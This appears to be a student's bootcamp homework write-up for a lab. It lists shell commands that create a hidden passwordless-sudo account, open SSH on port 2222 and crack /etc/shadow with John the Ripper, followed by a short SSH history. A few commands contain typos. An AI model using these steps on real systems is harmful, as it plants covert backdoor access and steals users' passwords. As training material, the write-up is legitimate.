Gavin Faught
Cybersecurity Bootcamp

Submission for Unit 6 Advanced Bash Homework

1) Create a secret user named `sysd`. Make sure this user doesn't have a home folder created.
  - sudo adduser --no-create-home sysd
  (Source: https://serverfault.com/questions/139107/debian-create-a-new-user-without-home-directory)

2) Give your secret user a password.
  - sudo passwd sysd (password given was "12345")

3) Give your secret user a system UID < 1000.
  - sudo usermod -u 500 sysh

4) Give your secret user the same GID
  - sudo groupadd -g 500 rhogroup
  - sudo usermod - g 500 sysd
  (STEPS 1 to 4: refer to steps 1 to 4.png)

5) Give your secret user full sudo access without the need for a password.
  - sudo visudo
  - at the bottom of the file, type: sysd ALL=(ALL) NOPASSWD:ALL
  (Refer to step5.png)

6) Test that sudo access works without your password
  - sudo apt-get install fortune (step6a.png)
  - sudo apt-get install qalc (step6b.png)
  (Both installations required no password)

Allow ssh access over port 2222.

7) Command to edit the `sshd_config` file:
  - sudo nano /etc/ssh/sshd_config
  (Refer to editingSSHconfig.png)
  - in the file, specify:
  Port 22
  Port 2222
  (also refer to serverfault.com/questions/284566/configuration-for-multiple-port-ssh/284574)

8) Command to restart the ssh service:
  - sudo systemctl restart sshd
  (refer to restartSSHService.png)

9) Exit the root accout:
  - exit

10) SSH to the target machine using your `sysd` account and port 2222:
  - ssh -v -p 2222 -C sysd@192.168.1.249
  (STEPS 9 to 10: refer to steps 9 and 10.png)

11) Use sudo to switch to the root user
  - sudo su-

Crack _all_ the passwords

12) Ssh back to the system using your sysd account
  - ssh -v -p 2222 -C sysd@192.168.1.249

13) Use John to crack the entire /etc/shadow file
  - sudo john /etc/shadow
  (refer to crackingFile.png)
  - sudo john --show /etc/shadow
  (refer to crackingFile2.png)

GAVIN'S CORNER: THE HISTORY OF SSH

The very beginnings of SSH (Secure Shell) began with telnet in the 1960s. That was a valid protocol until 1995, when a researcher at Helsinki University of Technology, Finland had a password sniffing attack at his university network. The SSH protocol that was created provided strong authentication and confidentiality. SecureShell version 2 was adopted in 2006. It proved to be incompatible with SSH-1 but had improvements in security. In 1999, developers wanted a free software version to be available. By 2005, OpenSSH was the single most popular SSH implementation. It is maintained and supported by the SSH-2 protocol, and comes by default in a large number of operating systems. (Sources: en.wikipedia.org | youtube.com/watch?v=qWKK_PNHnnA)